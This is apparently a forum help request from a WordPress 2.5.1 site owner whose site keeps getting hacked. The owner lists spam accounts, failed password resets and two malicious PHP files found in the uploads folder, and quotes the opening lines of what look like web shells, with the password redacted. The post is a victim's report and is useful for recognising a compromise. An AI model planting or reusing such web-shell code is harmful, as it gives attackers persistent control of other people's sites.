Site Hacked over and over WordPress 2.5.1 Please Help!

Thanks Flammo,

All permissions appear to be set correctly. I checked this yesterday.

I found these users in phpmyAdmin as recent members:

pornvigra[at]gmail.com

canadapharma[at]izmail.net

Also, users have been complaining about not being able to login. A couple people told me their passwords weren’t working and when they try to get a new one it won’t work either.

I get this when I request one /wp-login.php?action=rp&key=us4mN!AG!RS^

I think my database has been hacked.

Man, had I found this a week ago it would have saved me some time.

exploit-scanner

This plug-in found a couple problems right off the bat.

It detected this in my upload directory. (I wont post the whole thing but what the???)

2008.php

error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_COM', class_exists('COM') ? 1 : 0 );
define('IS_GPC', get_magic_quotes_gpc());

And this:

fx__2008.php

<?php
@error_reporting(E_ALL);
@set_time_limit(0);
global $HTTP_SERVER_VARS;

define('PASSWD','   ##$#@!!   ( I removed this for obvious reasons) ');

function say($t) {
  echo "$t\n";
};

function testdata($t) {
  say(md5("mark_$t"));
};

echo "<pre>";
testdata('start');